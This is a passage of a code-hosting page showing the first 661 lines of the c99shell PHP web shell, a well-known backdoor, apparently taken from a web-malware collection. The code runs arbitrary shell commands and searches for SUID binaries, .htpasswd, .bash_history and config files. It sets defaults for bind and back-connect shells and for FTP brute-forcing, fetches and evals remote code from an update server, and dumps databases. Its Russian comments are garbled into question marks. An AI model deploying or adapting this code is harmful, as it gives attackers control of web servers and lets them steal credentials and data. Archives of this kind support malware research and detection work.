PageRenderTime 64ms CodeModel.GetById 15ms RepoModel.GetById 0ms app.codeStats 0ms

/Backdoors/PHP/c99shell.php

http://web-malware-collection.googlecode.com/
PHP | 1329 lines | 1203 code | 35 blank | 91 comment | 137 complexity | 2c711e7c89a8f8d0dfe043704c261748 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. /*
  3. ******************************************************************************************************
  4. *
  5. * c99shell.php v.1.0 pre-release build #9
  6. * Freeware license.
  7. * Š CCTeaM.
  8. * c99shell - ????-???????? ????? www-???????, "?????????" ??? ??????.
  9. * ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????:
  10. http://ccteam.ru/releases/c99shell
  11. *
  12. * WEB: http://ccteam.ru
  13. * ICQ UIN #: 656555
  14. *
  15. * ???????????:
  16. * + ?????????? ?????????? ? ?????????? (ftp, samba) ???????/???????, ??????????
  17. * ??????????? ?????????? ?????? ? ?????
  18. * (?????????????? ?????????????/??????????????? ????? tar)
  19. * ??????????? ????? (???????? ?????? ??????)
  20. * modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth)
  21. * + ??????????? SQL-???????? ?? ?????????? phpmyadmin,
  22. ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql
  23. * + ?????????? ??????????
  24. * + ??????? ?????????? shell-?????? (????? ???????, ????? ?????????????)
  25. * + ?????????? ????????????? PHP-????
  26. * + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64
  27. * + ??????? ????????? ?????? ???????????? ??
  28. * + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????)
  29. * ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL)
  30. * + ?????? "?????" include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????)
  31. ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl",
  32. ???? ????-?????? ???????? $set_surl ? cookie "set_surl"
  33. * + ??????????? "?????????" /bin/bash ?? ???????????? ???? ? ???????????? ???????,
  34. * ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat).
  35. * + ??????????? ???????? ????-???????? ???????
  36. * + ????????????????? ???????? ????????? ? ???????????? ? ?????????? ?????? (????? mail())
  37. *
  38. * ???????? ?????? ?? ?????? ?????? ????????????.
  39. *
  40. * ????????? ?????????:
  41. * ~ ???????? sql-?????????
  42. * ~ ?????????? ??????????? ?????????? ??????
  43. *
  44. * ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!)
  45. ? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????.
  46. *
  47. * Last modify: 17.07.2005
  48. *
  49. * Š Captain Crunch Security TeaM. Coded by tristram
  50. *
  51. ******************************************************************************************************
  52. */
  53. //Starting calls
  54. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  55. error_reporting(5);
  56. @ignore_user_abort(true);
  57. @set_magic_quotes_runtime(0);
  58. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  59. define("starttime",getmicrotime());
  60. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  61. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  62. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  63. $shver = "1.0 pre-release build #9"; //Current version
  64. //CONFIGURATION AND SETTINGS
  65. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  66. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  67. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  68. }
  69. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  70. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  71. if (empty($surl))
  72. {
  73. $surl = "?".$includestr; //Self url
  74. }
  75. $surl = htmlspecialchars($surl);
  76. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  77. //Authentication
  78. $login = ""; //login
  79. //DON'T FORGOT ABOUT PASSWORD!!!
  80. $pass = ""; //password
  81. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  82. if (stristr($_SERVER["GATEWAY_INTERFACE"],"cgi")) {$login = "";} // If CGI then turn off auth.
  83. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  84. $login_txt = "Restricted area"; //http-auth message.
  85. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  86. $gzipencode = true; //Encode with gzip?
  87. $updatenow = false; //If true, update now (this variable will be false)
  88. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  89. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  90. $filestealth = true; //if true, don't change modify- and access-time
  91. $donated_html = "<center><b>Owned by hacker</b></center>";
  92. /* If you publish free shell and you wish
  93. add link to your site or any other information,
  94. put here your html. */
  95. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  96. $curdir = "./"; //start folder
  97. //$curdir = getenv("DOCUMENT_ROOT");
  98. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  99. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  100. $log_email = "user@host.tld"; //Default e-mail for sending logs
  101. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  102. $sort_save = true; //If true then save sorting-position using cookies.
  103. // Registered file-types.
  104. // array(
  105. // "{action1}"=>array("ext1","ext2","ext3",...),
  106. // "{action2}"=>array("ext4","ext5","ext6",...),
  107. // ...
  108. // )
  109. $ftypes = array(
  110. "html"=>array("html","htm","shtml"),
  111. "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  112. "exe"=>array("sh","install","bat","cmd"),
  113. "ini"=>array("ini","inf"),
  114. "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  115. "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  116. "sdb"=>array("sdb"),
  117. "phpsess"=>array("sess"),
  118. "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  119. );
  120. // Registered executable file-types.
  121. // array(
  122. // string "command{i}"=>array("ext1","ext2","ext3",...),
  123. // ...
  124. // )
  125. // {command}: %f% = filename
  126. $exeftypes = array(
  127. getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  128. "perl %f%" => array("pl","cgi")
  129. );
  130. /* Highlighted files.
  131. array(
  132. i=>array({regexp},{type},{opentag},{closetag},{break})
  133. ...
  134. )
  135. string {regexp} - regular exp.
  136. int {type}:
  137. 0 - files and folders (as default),
  138. 1 - files only, 2 - folders only
  139. string {opentag} - open html-tag, e.g. "<b>" (default)
  140. string {closetag} - close html-tag, e.g. "</b>" (default)
  141. bool {break} - if true and found match then break
  142. */
  143. $regxp_highlight = array(
  144. array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  145. array("config.php",1) // example
  146. );
  147. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  148. // array (i=>{letter} ...); string {letter} - letter of a drive
  149. //$safemode_diskettes = range("a","z");
  150. $hexdump_lines = 8; // lines in hex preview file
  151. $hexdump_rows = 24; // 16, 24 or 32 bytes in one line
  152. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  153. $bindport_pass = "c99"; // default password for binding
  154. $bindport_port = "31373"; // default port for binding
  155. $bc_port = "31373"; // default port for back-connect
  156. $datapipe_localport = "8081"; // default port for datapipe
  157. // Command-aliases
  158. if (!$win)
  159. {
  160. $cmdaliases = array(
  161. array("-----------------------------------------------------------", "ls -la"),
  162. array("find all suid files", "find / -type f -perm -04000 -ls"),
  163. array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  164. array("find all sgid files", "find / -type f -perm -02000 -ls"),
  165. array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  166. array("find config.inc.php files", "find / -type f -name config.inc.php"),
  167. array("find config* files", "find / -type f -name \"config*\""),
  168. array("find config* files in current dir", "find . -type f -name \"config*\""),
  169. array("find all writable folders and files", "find / -perm -2 -ls"),
  170. array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  171. array("find all service.pwd files", "find / -type f -name service.pwd"),
  172. array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  173. array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  174. array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  175. array("find all .bash_history files", "find / -type f -name .bash_history"),
  176. array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  177. array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  178. array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  179. array("list file attributes on a Linux second extended file system", "lsattr -va"),
  180. array("show opened ports", "netstat -an | grep -i listen")
  181. );
  182. }
  183. else
  184. {
  185. $cmdaliases = array(
  186. array("-----------------------------------------------------------", "dir"),
  187. array("show opened ports", "netstat -an")
  188. );
  189. }
  190. $sess_cookie = "c99shvars"; // Cookie-variable name
  191. $usefsbuff = true; //Buffer-function
  192. $copy_unset = false; //Remove copied files from buffer after pasting
  193. //Quick launch
  194. $quicklaunch = array(
  195. array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  196. array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  197. array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  198. array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  199. array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  200. array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  201. array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  202. array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  203. array("<b>Tools</b>",$surl."act=tools&d=%d"),
  204. array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  205. array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  206. array("<b>Sec.</b>",$surl."act=security&d=%d"),
  207. array("<b>SQL</b>",$surl."act=sql&d=%d"),
  208. array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  209. array("<b>Update</b>",$surl."act=update&d=%d"),
  210. array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  211. array("<b>Self remove</b>",$surl."act=selfremove"),
  212. array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  213. );
  214. //Highlight-code colors
  215. $highlight_background = "#c0c0c0";
  216. $highlight_bg = "#FFFFFF";
  217. $highlight_comment = "#6A6A6A";
  218. $highlight_default = "#0000BB";
  219. $highlight_html = "#1300FF";
  220. $highlight_keyword = "#007700";
  221. $highlight_string = "#000000";
  222. @$f = $_REQUEST["f"];
  223. @extract($_REQUEST["c99shcook"]);
  224. //END CONFIGURATION
  225. // \/ Next code isn't for editing \/
  226. @set_time_limit(0);
  227. $tmp = array();
  228. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  229. $s = "!^(".implode("|",$tmp).")$!i";
  230. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  231. if (!empty($login))
  232. {
  233. if(empty($md5_pass)) {$md5_pass = md5($pass);}
  234. if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  235. {
  236. if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  237. header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  238. header("HTTP/1.0 401 Unauthorized");
  239. exit($accessdeniedmess);
  240. }
  241. }
  242. if ($act != "img")
  243. {
  244. $lastdir = realpath(".");
  245. chdir($curdir);
  246. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  247. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  248. if (!is_array($sess_data)) {$sess_data = array();}
  249. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  250. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  251. $disablefunc = @ini_get("disable_functions");
  252. if (!empty($disablefunc))
  253. {
  254. $disablefunc = str_replace(" ","",$disablefunc);
  255. $disablefunc = explode(",",$disablefunc);
  256. }
  257. if (!function_exists("c99_buff_prepare"))
  258. {
  259. function c99_buff_prepare()
  260. {
  261. global $sess_data;
  262. global $act;
  263. foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  264. foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  265. $sess_data["copy"] = array_unique($sess_data["copy"]);
  266. $sess_data["cut"] = array_unique($sess_data["cut"]);
  267. sort($sess_data["copy"]);
  268. sort($sess_data["cut"]);
  269. if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  270. else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  271. }
  272. }
  273. c99_buff_prepare();
  274. if (!function_exists("c99_sess_put"))
  275. {
  276. function c99_sess_put($data)
  277. {
  278. global $sess_cookie;
  279. global $sess_data;
  280. c99_buff_prepare();
  281. $sess_data = $data;
  282. $data = serialize($data);
  283. setcookie($sess_cookie,$data);
  284. }
  285. }
  286. foreach (array("sort","sql_sort") as $v)
  287. {
  288. if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  289. if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  290. }
  291. if ($sort_save)
  292. {
  293. if (!empty($sort)) {setcookie("sort",$sort);}
  294. if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  295. }
  296. if (!function_exists("str2mini"))
  297. {
  298. function str2mini($content,$len)
  299. {
  300. if (strlen($content) > $len)
  301. {
  302. $len = ceil($len/2) - 2;
  303. return substr($content, 0,$len)."...".substr($content,-$len);
  304. }
  305. else {return $content;}
  306. }
  307. }
  308. if (!function_exists("view_size"))
  309. {
  310. function view_size($size)
  311. {
  312. if (!is_numeric($size)) {return false;}
  313. else
  314. {
  315. if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  316. elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  317. elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  318. else {$size = $size . " B";}
  319. return $size;
  320. }
  321. }
  322. }
  323. if (!function_exists("fs_copy_dir"))
  324. {
  325. function fs_copy_dir($d,$t)
  326. {
  327. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  328. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  329. $h = opendir($d);
  330. while (($o = readdir($h)) !== false)
  331. {
  332. if (($o != ".") and ($o != ".."))
  333. {
  334. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  335. else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  336. if (!$ret) {return $ret;}
  337. }
  338. }
  339. closedir($h);
  340. return true;
  341. }
  342. }
  343. if (!function_exists("fs_copy_obj"))
  344. {
  345. function fs_copy_obj($d,$t)
  346. {
  347. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  348. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  349. if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  350. if (is_dir($d))
  351. {
  352. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  353. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  354. return fs_copy_dir($d,$t);
  355. }
  356. elseif (is_file($d)) {return copy($d,$t);}
  357. else {return false;}
  358. }
  359. }
  360. if (!function_exists("fs_move_dir"))
  361. {
  362. function fs_move_dir($d,$t)
  363. {
  364. $h = opendir($d);
  365. if (!is_dir($t)) {mkdir($t);}
  366. while (($o = readdir($h)) !== false)
  367. {
  368. if (($o != ".") and ($o != ".."))
  369. {
  370. $ret = true;
  371. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  372. else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
  373. if (!$ret) {return $ret;}
  374. }
  375. }
  376. closedir($h);
  377. return true;
  378. }
  379. }
  380. if (!function_exists("fs_move_obj"))
  381. {
  382. function fs_move_obj($d,$t)
  383. {
  384. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  385. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  386. if (is_dir($d))
  387. {
  388. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  389. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  390. return fs_move_dir($d,$t);
  391. }
  392. elseif (is_file($d))
  393. {
  394. if(copy($d,$t)) {return unlink($d);}
  395. else {unlink($t); return false;}
  396. }
  397. else {return false;}
  398. }
  399. }
  400. if (!function_exists("fs_rmdir"))
  401. {
  402. function fs_rmdir($d)
  403. {
  404. $h = opendir($d);
  405. while (($o = readdir($h)) !== false)
  406. {
  407. if (($o != ".") and ($o != ".."))
  408. {
  409. if (!is_dir($d.$o)) {unlink($d.$o);}
  410. else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  411. }
  412. }
  413. closedir($h);
  414. rmdir($d);
  415. return !is_dir($d);
  416. }
  417. }
  418. if (!function_exists("fs_rmobj"))
  419. {
  420. function fs_rmobj($o)
  421. {
  422. $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  423. if (is_dir($o))
  424. {
  425. if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  426. return fs_rmdir($o);
  427. }
  428. elseif (is_file($o)) {return unlink($o);}
  429. else {return false;}
  430. }
  431. }
  432. if (!function_exists("myshellexec"))
  433. {
  434. function myshellexec($cmd)
  435. {
  436. global $disablefunc;
  437. $result = "";
  438. if (!empty($cmd))
  439. {
  440. if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  441. elseif (($result = `$cmd`) !== false) {}
  442. elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  443. elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  444. elseif (is_resource($fp = popen($cmd,"r")))
  445. {
  446. $result = "";
  447. while(!feof($fp)) {$result .= fread($fp,1024);}
  448. pclose($fp);
  449. }
  450. }
  451. return $result;
  452. }
  453. }
  454. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  455. if (!function_exists("view_perms"))
  456. {
  457. function view_perms($mode)
  458. {
  459. if (($mode & 0xC000) === 0xC000) {$type = "s";}
  460. elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  461. elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  462. elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  463. elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  464. elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  465. elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  466. else {$type = "?";}
  467. $owner["read"] = ($mode & 00400)?"r":"-";
  468. $owner["write"] = ($mode & 00200)?"w":"-";
  469. $owner["execute"] = ($mode & 00100)?"x":"-";
  470. $group["read"] = ($mode & 00040)?"r":"-";
  471. $group["write"] = ($mode & 00020)?"w":"-";
  472. $group["execute"] = ($mode & 00010)?"x":"-";
  473. $world["read"] = ($mode & 00004)?"r":"-";
  474. $world["write"] = ($mode & 00002)? "w":"-";
  475. $world["execute"] = ($mode & 00001)?"x":"-";
  476. if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  477. if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  478. if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  479. return $type.join("",$owner).join("",$group).join("",$world);
  480. }
  481. }
  482. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}}
  483. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}}
  484. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}}
  485. if (!function_exists("parse_perms"))
  486. {
  487. function parse_perms($mode)
  488. {
  489. if (($mode & 0xC000) === 0xC000) {$t = "s";}
  490. elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  491. elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  492. elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  493. elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  494. elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  495. elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  496. else {$t = "?";}
  497. $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  498. $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  499. $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  500. return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  501. }
  502. }
  503. if (!function_exists("parsesort"))
  504. {
  505. function parsesort($sort)
  506. {
  507. $one = intval($sort);
  508. $second = substr($sort,-1);
  509. if ($second != "d") {$second = "a";}
  510. return array($one,$second);
  511. }
  512. }
  513. if (!function_exists("view_perms_color"))
  514. {
  515. function view_perms_color($o)
  516. {
  517. if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  518. elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  519. else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  520. }
  521. }
  522. if (!function_exists("c99getsource"))
  523. {
  524. function c99getsource($fn)
  525. {
  526. global $c99sh_sourcesurl;
  527. $array = array(
  528. "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  529. "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  530. "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  531. "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  532. "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  533. "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  534. );
  535. $name = $array[$fn];
  536. if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  537. else {return false;}
  538. }
  539. }
  540. if (!function_exists("c99sh_getupdate"))
  541. {
  542. function c99sh_getupdate($update = true)
  543. {
  544. $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  545. $data = @file_get_contents($url);
  546. if (!$data) {return "Can't connect to update-server!";}
  547. else
  548. {
  549. $data = ltrim($data);
  550. $string = substr($data,3,ord($data{2}));
  551. if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;}
  552. if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  553. if ($data{0} == "\x99" and $data{1} == "\x03")
  554. {
  555. $string = explode("\x01",$string);
  556. if ($update)
  557. {
  558. $confvars = array();
  559. $sourceurl = $string[0];
  560. $source = file_get_contents($sourceurl);
  561. if (!$source) {return "Can't fetch update!";}
  562. else
  563. {
  564. $fp = fopen(__FILE__,"w");
  565. if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  566. else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  567. }
  568. }
  569. else {return "New version are available: ".$string[1];}
  570. }
  571. elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  572. else {return "Error in protocol: segmentation failed! (".$data.") ";}
  573. }
  574. }
  575. }
  576. if (!function_exists("mysql_dump"))
  577. {
  578. function mysql_dump($set)
  579. {
  580. global $shver;
  581. $sock = $set["sock"];
  582. $db = $set["db"];
  583. $print = $set["print"];
  584. $nl2br = $set["nl2br"];
  585. $file = $set["file"];
  586. $add_drop = $set["add_drop"];
  587. $tabs = $set["tabs"];
  588. $onlytabs = $set["onlytabs"];
  589. $ret = array();
  590. $ret["err"] = array();
  591. if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  592. if (empty($db)) {$db = "db";}
  593. if (empty($print)) {$print = 0;}
  594. if (empty($nl2br)) {$nl2br = 0;}
  595. if (empty($add_drop)) {$add_drop = true;}
  596. if (empty($file))
  597. {
  598. $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  599. }
  600. if (!is_array($tabs)) {$tabs = array();}
  601. if (empty($add_drop)) {$add_drop = true;}
  602. if (sizeof($tabs) == 0)
  603. {
  604. // retrive tables-list
  605. $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  606. if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  607. }
  608. $out = "# Dumped by C99Shell.SQL v. ".$shver."
  609. # Home page: http://ccteam.ru
  610. #
  611. # Host settings:
  612. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  613. # Date: ".date("d.m.Y H:i:s")."
  614. # DB: \"".$db."\"
  615. #---------------------------------------------------------
  616. ";
  617. $c = count($onlytabs);
  618. foreach($tabs as $tab)
  619. {
  620. if ((in_array($tab,$onlytabs)) or (!$c))
  621. {
  622. if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  623. // recieve query for create table structure
  624. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  625. if (!$res) {$ret["err"][] = mysql_smarterror();}
  626. else
  627. {
  628. $row = mysql_fetch_row($res);
  629. $out .= $row["1"].";\n\n";
  630. // recieve table variables
  631. $res = mysql_query("SELECT * FROM `$tab`", $sock);
  632. if (mysql_num_rows($res) > 0)
  633. {
  634. while ($row = mysql_fetch_assoc($res))
  635. {
  636. $keys = implode("`, `", array_keys($row));
  637. $values = array_values($row);
  638. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  639. $values = implode("', '", $values);
  640. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  641. $out .= $sql;
  642. }
  643. }
  644. }
  645. }
  646. }
  647. $out .= "#---------------------------------------------------------------------------------\n\n";
  648. if ($file)
  649. {
  650. $fp = fopen($file, "w");
  651. if (!$fp) {$ret["err"][] = 2;}
  652. else
  653. {
  654. fwrite ($fp, $out);
  655. fclose ($fp);
  656. }
  657. }
  658. if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  659. return $out;
  660. }
  661. }
